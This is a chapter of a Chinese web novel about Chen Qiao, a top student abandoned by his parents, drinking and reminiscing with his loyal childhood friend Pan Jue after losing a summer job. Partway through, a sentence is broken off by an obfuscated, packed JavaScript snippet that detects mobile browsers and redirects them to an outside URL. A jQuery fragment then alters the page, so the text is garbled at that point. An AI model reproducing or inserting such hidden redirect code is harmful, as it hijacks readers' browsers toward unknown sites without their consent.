潘子:【靠,你什么时候不干了的?】 靠窗横摆一个书桌,桌上是试卷跟教辅还有错题本,齐白去京北之前把高中三年的书和笔记都给他了,他重点捏着错题本说:给我好好对待我的错题本,这可是当初多少少男少女的梦。 他在班级吊尾车的一年也没真的落下学习了,他只是迷茫,迷茫一切。 中考成绩一出,爸妈手机都没歇过,学校还有各种的采访电话打不停。当时筒子楼也挂横幅庆祝这里出了个状元,以后这儿估计得改名状元楼,同一层楼的人个个都觉得脸上有光,逢人就要说一句,状元呀,我跟他家熟得嘞,语气中的骄傲仿佛状元出在自家。 陈峤并未因此傲慢,之前怎样,现在还是怎样,只不过未来他要从一个地方到另一个地方,最大的好处还是家庭经济得到改善。他在外面闲逛看到租房信息,打电话询问约时间看房,满心欢喜回到家,状元父母的脸上还不如邻居开心,他们看见陈峤回来,勉强扯出一个欣慰的笑容。 妈妈和往常一样问他累了吧。他摇头说不累,毕业了在外瞎玩一天有什么累的。 爸爸让他去冲个澡换身衣服,待会儿一家三口去吃饭,庆祝他们家阿峤考了个全市第一,真是给陈家争脸面。 陈峤将租房的事搁置,想着吃完饭回来再说。 可是人生没有那么多的晚一点、下一次。 西餐厅的餐后甜品回味是苦涩,陈峤不记得更多的细节,只记得双方平静的语气,他是一件待抛的物品,他们不要他了。 他花了很长的时间来想这件事,是不是自己不够懂事,不够听话,所以他们不要他了;如果他听话,做个乖孩子,是不是他还是他们的孩子,他推开门依旧是那个家,虽贫瘠但幸福的家。 他空拿两张卡被丢在了原地。 思绪戛然而止,一阵铃声在空旷的房间响起,潘决在电话里扯着嗓子喊:“老大开门!” 老居民区的楼道昏暗,牛皮癣广告从墙面铺开延展至门上,陈峤打开门,玄关冷白的光噌一下照亮潘决黑黝黝的脸,他露出大白牙笑,陈峤差点又把门关上,察觉到自家老大动作,潘决一溜烟钻进屋内。 潘决手上拎着绝味和烧烤啤酒,他如林妹妹虚虚咳嗽一声,偏过头去,“早知如此,今儿个我就不来了。” 一米八的大壮汉站在玄关处偏头蹙着眉,势要将林妹妹那股柔弱劲演出来,陈峤看他一眼,没理,从他手里拿过吃的放到茶几上去。 潘决还在那柔弱。 陈峤坐在地毯上已经开了一罐啤酒。 “前有林黛玉倒拔垂杨柳......” “后有唐三藏单骑救阿斗。”读书那会儿潘决经常莫名来这出,陈峤已经见怪不怪,堵住他的话,“行了,我这儿不缺雕像摆设。” 潘决嘟囔几句自己从鞋柜找拖鞋换上,他坐到茶几另一端,“老大你干嘛呢?失恋了?” 陈峤拿起秋刀鱼咬一口,撩起眼皮,“失什么恋,失业。” 他是被辞退的,多请了一天假,老板说他吃不了苦,隔天还工服结工资的时候看见老板亲戚在岗炸薯条了,段庆伟在那儿教。钱结清他也没什么意见,反正快开学了。 但他这个年纪说失业不恰当,本来就是暑假工,工作不了多久,陈峤扯一张纸垫在桌上,吐出秋刀鱼的细刺,听着潘决在那叭叭叭。 “呵,一定是那个段庆伟使小动作,在背后讲你坏话,明天我就去揍他一顿!” “老大没事,此处不留爷自有留爷处,等你考上大学出来一定有好多公司抢着要你。这破炸薯条的工作咱不稀罕嘞。” 陈峤举起啤酒罐跟他碰一下,“段庆伟哪儿惹着你了?从第一天起就听你说要揍他一顿。” 说起这个段庆伟,潘决就来火,个不高心眼子还挺多,就陈峤高一那些同学有时来汉堡店吃个东西,那家伙没事就要跟着去编排几句,最后还要证明一般说一声,看吧,不是我一个人讨厌他,他这个人就是有问题。 更气的是,陈峤知道这些完全没脾气,潘决都觉得他是不是被夺舍了,好几次抓着他使劲晃,大声喊:说!你是谁,为什么穿到我老大的身体里来!快把我老大还给我! 两个人是怎么认识?俗说不打不相识,两个人小学时就打了个全校批评出来。 小学时候潘决喜欢隔壁班班花,但班花不喜欢他,喜欢陈峤。那会儿陈峤就是孩子王,所有人都跟在他屁股后面跑,潘决也是个小孩子王,身后也有一帮小弟。 他去陈峤班上下战书,放学小胡同决一死战。 歪七扭八的字,还有错字,陈峤看一眼纸条就丢进垃圾桶了。小胡同陈峤单枪匹马前来,一众奥特曼卡通书包之中,他黑色的书包最突出,潘决把书包一摔,扑上去,身后的小弟也跟着摔书包扑上去。 小孩打架哪有什么招式,乱打,潘决认为这局势稳赢,毕竟六对一,优势在我。 陈峤学着电视古惑仔模样笑,一对六,压着打。 混战到一半胜负已见分晓,潘决捂着自己脸的求饶,“打了头就不能再打我的脸了!我明天还要见小红的。” 陈峤还没回话,教导主任和班主任一块儿来了,小红背着迪士尼公主书包,拉着老师的手语气着急,“老师你快阻止他们啊!他们都为我打起来了,我不希望他们两个有人受伤。” “你们不要再打啦!你们两个我都喜欢好不好?我们三个一起玩。” 教导主任一脸黑线把人分开,各班班主任将人拎到跟前教育,小红的班主任听到小红的话没忍住笑了一下,瞥见教导主任要杀人的目光才将嘴角压下。 双方被学校教育完,回到家又是一顿教育,潘决杀猪般嗓音响彻整栋楼。陈峤比他好些,没有见到七匹狼,只是被剥夺了一些自由的时间,他妈妈给他报了一个兴趣班,每周末都得去。 周一升旗的时候两个人轮流上主席台去念检讨,念完又站到同一颗树下,潘决屁股还痛呢,他摸了摸自己屁股,然后胳膊去肘陈峤,问他有没有被打。 陈峤给了他一个很不爱听的回答,没有。 后来潘决又问他喜不喜欢小红,如果喜欢,那他就退出,毕竟愿赌服输,他输了。陈峤不知道从哪扯了片树叶子叼在嘴角,混不吝潇洒地说,不喜欢,小爷是要闯荡江湖的人。 那瞬间潘决心底哇一声,他觉得陈峤讲那句话的时候好酷。潘决跟他站近一点又问他,那你为什么还要来小胡同? 陈峤白他一眼,“看你不爽,一共就二十六个字,你写错一半。” 放学小胡同决一死战,输的人不准再喜欢小红,不来的人是小狗。 潘决只写对放学、小、一、的人、喜欢、小红。 潘决不以为然,小学二年级错点字怎么了!但他被陈峤那潇洒劲吸引了,别扭哼一声后又缠着他讲话,说闯江湖是不是需要小弟,他也要闯江湖! 这江湖一闯就到如今。 潘决面对现在离世绝俗的陈峤不知道说什么,他只又放一遍古惑仔,试图唤醒陈峤心底的那份江湖,拿出一点过往脾性。 他还记得初中那会儿自己惹到外校的人,被揍了一顿,他不敢告诉陈峤,那会儿陈峤要参加一个什么考试,怕影响到他。陈峤在考场不知道听到什么,考试提前交卷,他找到一家黑网吧门口。 外校那人坐在最里面那台机子,陈峤上前拍了拍他肩,让他出来一下。 那人扭头切一声,耳机摔在键盘上,跟了出去。 陈峤二话不说揍他,他才不问原因呢,管他反派正派都死于话多,先把人打服了再说,外校那人也懵,这是哪路仇家啊?他仇家太多,一时不知道是哪路的。 陈峤撂下一句话,“下午五点半去二中门口找一个叫潘决的道歉。” 这事给潘决感动得眼泪哗哗流,决定这辈子都认这个老大了! 现在段庆伟跟他高中那些同学比初中那伙人还要讨嫌,潘决想不通了,老大怎么忍得住。 陈峤看着电视里的陈浩南面无表情,心里也没什么波澜,中二时期已经过了,现在也不是喊打喊杀的社会,古惑仔那套被写在法律上。 他戴上手套抿着毛豆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867127|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看一直皱着眉喝闷酒的潘决,他知道潘决心里有口气没撒出来。 他心里叹口气说:“我不生气是因为他们根本不值一提,多匀一个眼神出去都是浪费。你明白吗?” 潘决把鸭架当段伟庆撕咬,“那就让他们这样到处乱讲啊?我听了都觉得生气。” 陈峤从实验班到平行班,他没有落差感,但身边所有人都执着给他身上安一个落差感出来。明远高一很轻松,活动多,在平行班根本体验不到学习压力,人一旦少了学习压力,就有精力把目光转向别处了。 男生的小团体更加恶劣,他们善于隐藏自己内心的真实想法,表面大大咧咧好相处,转身就能用尽词汇将你拉入言语的沼泽,你越挣扎,他们越开心,你也越陷越深。 陈峤对于他们这种无聊把戏很无语。 但人是群体,随着人多,班上几乎所有人都觉得陈峤就是那样的人。偷来的成绩,逃课打架,抽烟喝酒不爱干净,劣迹斑斑的一个人。 可他真不在意,他在意的是,好像无论他现在怎样,爸爸妈妈都不会再看他一眼了。 最后一次和爸爸的消息是他从实验班到平行班,老师说要跟父母沟通一下,他给了爸爸的电话。不知道电话里说了什么,当天收到爸爸的信息。 阖家团圆(爸):【我听老师说你现在成绩一落千丈,爸爸相信你不是坏孩子,高中的课程应该很累很难吧,你努力克服,以后不要叫老师担心了。】 阖家团圆(爸):【阿峤啊,好好吃饭学习,照顾好自己。你以后别再联系我了。这周有时间回来把东西收拾一下,我跟你盛阿姨要搬新家了。】 他十六岁所有的东西装进行李箱,然后摊开在出租屋里。 讲文明睡醒了,从房间里飞出来,它一出来就飞到人头顶上,冲着潘决喊:“胖子,胖子。” 本来有点沉重的氛围在鸟尖锐的嗓音中消散,潘决嘿一声,“你个死鸟过来!我要把你放架子上烤了!” 哪胖了哪胖了!他现在瘦了好不好! 潘决看向小鸟主人,“老大,你管管它。” 也不知道潘决为什么能跟一只鸟生起气来,陈峤摊摊手无奈,“你习惯一下。” 这只小鸟,狠起来自己都骂。 电影到了结局,陈峤把电视关了,桌上东西也吃差不多了,潘决已经有点上头了,脸通红。他还是叹气,等陈峤把桌上收拾干净,往桌上一趴,“那不能让他们白说啊。” 在讲文明说着漂亮漂亮的自言自语中,他想到高夏,真诚的眼神与话语,她这个人清清冷冷的,可整个人都是十分真诚的,那样少见的真诚很令人心动。 所以他说他尽量。 这是他的答应。 明远高二分文理,理科有八个实验班,六个平行班,还有四个竞赛班。分班会跟高一几次考试挂钩,再加上开学的分班考综合评判。 陈峤算了自己的成绩,这次分班考只要考进前三,实验班是没问题的,但具体会分到哪个班他也不确定。他看了高夏的成绩,她大概率会分在1507班,实验班的第一个班。 两个人成为同班同学的概率百分之三十。 他看一眼潘决,决定跟他好好聊聊,不然这家伙每天都嚷嚷揍他们一顿,比起揍他们一顿,击破心理防线更加令人痛快吧。他们无非就是见不得他好,要他承认他就是烂人一个。 可他陈峤,还真不是。 他拍拍潘决,潘决抬起一点脑袋。 “在意他们的话就正中下怀了,反倒陷入无止尽自我讨伐,反思自己是不是真的不对?潘子,你不是第一天认识我,我从来不会因为别人的言语目光去更改我下一步的路。他们在意的是我的成绩,我能到达的高度,他们希望我输,可我就是会赢。” “可是,可是……” 潘决是一个能用武力解决问题的人决不动脑子,他听不明白这些话,但他相信陈峤。 “洗漱睡吧。你放心,我还是我,没有被夺舍。” 潘决这小子没心眼,什么都听他的,陈峤有时都觉得,如果自己让他去杀人,潘子都不会多问一句,拿着刀就冲出去。 但他只希望潘决也能有一个好未来。 那些人的家里不比在县城的人,打了他们跟以前可不一样。